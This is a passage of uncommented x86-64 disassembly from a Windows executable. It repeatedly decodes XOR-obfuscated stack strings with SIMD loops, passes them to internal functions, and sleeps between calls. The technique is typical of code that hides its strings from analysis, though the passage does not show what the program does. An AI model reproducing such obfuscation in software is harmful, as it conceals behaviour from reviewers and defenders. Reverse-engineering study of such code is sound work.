pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x80
jl 0x1400238f3
jmp 0x140023a33
lea r9, [rbp + 0xb7d0]
mov r8d, ebx
nop
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x80
jl 0x140023a00
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x5b8]
call fcn.140004bf0
nop
lea rax, [rbp + 0xb7d0]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140023a50
lea rdx, [rbp + 0xb7d0]
lea rcx, [rbp + 0x5b8]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x5b8]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x5b8]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c1080]
movups xmmword [rbp + 0xb4d0], xmm0
movups xmm1, xmmword [0x1400c1090]
movups xmmword [rbp + 0xb4e0], xmm1
movups xmm0, xmmword [0x1400c10a0]
movups xmmword [rbp + 0xb4f0], xmm0
movups xmm1, xmmword [0x1400c10b0]
movups xmmword [rbp + 0xb500], xmm1
movups xmm0, xmmword [0x1400c10c0]
movups xmmword [rbp + 0xb510], xmm0
movups xmm1, xmmword [0x1400c10d0]
movups xmmword [rbp + 0xb520], xmm1
movups xmm0, xmmword [0x1400c10e0]
movups xmmword [rbp + 0xb530], xmm0
movsd xmm0, qword [0x1400c10f0]
movsd qword [rbp + 0xb540], xmm0
mov eax, dword [0x1400c10f8]
mov dword [rbp + 0xb548], eax
movzx eax, word [0x1400c10fc]
mov word [rbp + 0xb54c], ax
movzx eax, byte [0x1400c10fe]
mov byte [rbp + 0xb54e], al
mov r8d, ebx
cmp edi, 2
jl 0x140023c75
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xb4d4]
mov edx, dword [rbp + 0xb0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140023b70
cmp r8d, 0x7f
jge 0x140023cc0
movsxd rax, r8d
lea r9, [rbp + 0xb4d0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7f
jl 0x140023c90
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x5d8]
call fcn.140004bf0
nop
lea rax, [rbp + 0xb4d0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140023ce0
lea rdx, [rbp + 0xb4d0]
lea rcx, [rbp + 0x5d8]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x5d8]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x5d8]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400bd9b0]
movups xmmword [rbp + 0xadd0], xmm0
movups xmm1, xmmword [0x1400bd9c0]
movups xmmword [rbp + 0xade0], xmm1
movups xmm0, xmmword [0x1400bd9d0]
movups xmmword [rbp + 0xadf0], xmm0
movups xmm1, xmmword [0x1400bd9e0]
movups xmmword [rbp + 0xae00], xmm1
movups xmm0, xmmword [0x1400bd9f0]
movups xmmword [rbp + 0xae10], xmm0
movups xmm1, xmmword [0x1400bda00]
movups xmmword [rbp + 0xae20], xmm1
movups xmm0, xmmword [0x1400bda10]
movups xmmword [rbp + 0xae30], xmm0
movsd xmm0, qword [0x1400bda20]
movsd qword [rbp + 0xae40], xmm0
mov eax, dword [0x1400bda28]
mov dword [rbp + 0xae48], eax
movzx eax, word [0x1400bda2c]
mov word [rbp + 0xae4c], ax
mov r8d, ebx
cmp edi, 2
jl 0x140023ef5
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xadd4]
mov edx, dword [rbp + 0xb0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x140023df0
cmp r8d, 0x7e
jge 0x140023f40
movsxd rax, r8d
lea r9, [rbp + 0xadd0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7e
jl 0x140023f10
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x5f8]
call fcn.140004bf0
nop
lea rax, [rbp + 0xadd0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140023f60
lea rdx, [rbp + 0xadd0]
lea rcx, [rbp + 0x5f8]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x5f8]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x5f8]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400c2990]
movups xmmword [rbp + 0xc850], xmm0
movups xmm1, xmmword [0x1400c29a0]
movups xmmword [rbp + 0xc860], xmm1
movups xmm0, xmmword [0x1400c29b0]
movups xmmword [rbp + 0xc870], xmm0
movups xmm1, xmmword [0x1400c29c0]
movups xmmword [rbp + 0xc880], xmm1
movups xmm0, xmmword [0x1400c29d0]
movups xmmword [rbp + 0xc890], xmm0
movups xmm1, xmmword [0x1400c29e0]
movups xmmword [rbp + 0xc8a0], xmm1
movups xmm0, xmmword [0x1400c29f0]
movups xmmword [rbp + 0xc8b0], xmm0
movups xmm1, xmmword [0x1400c2a00]
movups xmmword [rbp + 0xc8c0], xmm1
mov eax, dword [0x1400c2a10]
mov dword [rbp + 0xc8d0], eax
movzx eax, word [0x1400c2a14]
mov word [rbp + 0xc8d4], ax
mov r8d, ebx
cmp edi, 2
jl 0x14002417b
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xc854]
mov edx, dword [rbp + 0xb0]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140024070
cmp r8d, 0x86
jge 0x1400241c3
movsxd rax, r8d
lea r9, [rbp + 0xc850]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x86
jl 0x140024190
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x618]
call fcn.140004bf0
nop
lea rax, [rbp + 0xc850]
mov r8, rsi
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400241e0
lea rdx, [rbp + 0xc850]
lea rcx, [rbp + 0x618]
call fcn.14000fd50
nop
lea rcx, [rbp + 0x618]
call fcn.14001d6b0
nop
lea rcx, [rbp + 0x618]
call fcn.14000d680
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400be730]
movups xmmword [rbp + 0xae50], xmm0
movups xmm1, xmmword [0x1400be740]
movups xmmword [rbp + 0xae60], xmm1
movups xmm0, xmmword [0x1400be750]
movups xmmword [rbp + 0xae70], xmm0
movups xmm1, xmmword [0x1400be760]
movups xmmword [rbp + 0xae80], xmm1
movups xmm0, xmmword [0x1400be770]
movups xmmword [rbp + 0xae90], xmm0
movups xmm1, xmmword [0x1400be780]
movups xmmword [rbp + 0xaea0], xmm1
movups xmm0, xmmword [0x1400be790]
movups xmmword [rbp + 0xaeb0], xmm0
movsd xmm0, qword [0x1400be7a0]
movsd qword [rbp + 0xaec0], xmm0
mov eax, dword [0x1400be7a8]
mov dword [rbp + 0xaec8], eax
movzx eax, word [0x1400be7ac]
mov word [rbp + 0xaecc], ax
mov r8d, ebx
cmp edi, 2
jl 0x1400243f5
movdqa xmm5, xmmword [0x1400c3460]
movdqa xmm4, xmmword [0x1400c3630]
movdqa xmm6, xmmword [0x1400c3480]
movdqa xmm0, xmmword [0x1400c35a0]
movdqa xmmword [rbp + 0xb0], xmm0
lea rcx, [rbp + 0xae54]
mov edx, dword [rbp + 0xb0]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400c3500]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x1400242f0
cmp r8d, 0x7e
jge 0x140024440
movsxd rax, r8d
lea r9, [rbp + 0xae50]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7e
jl 0x140024410
movzx edx, byte [rsp + 0x20]
lea rcx, [rbp + 0x638]
call fcn.140004bf0
nop
lea rax, [rbp + 0xae50]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140024460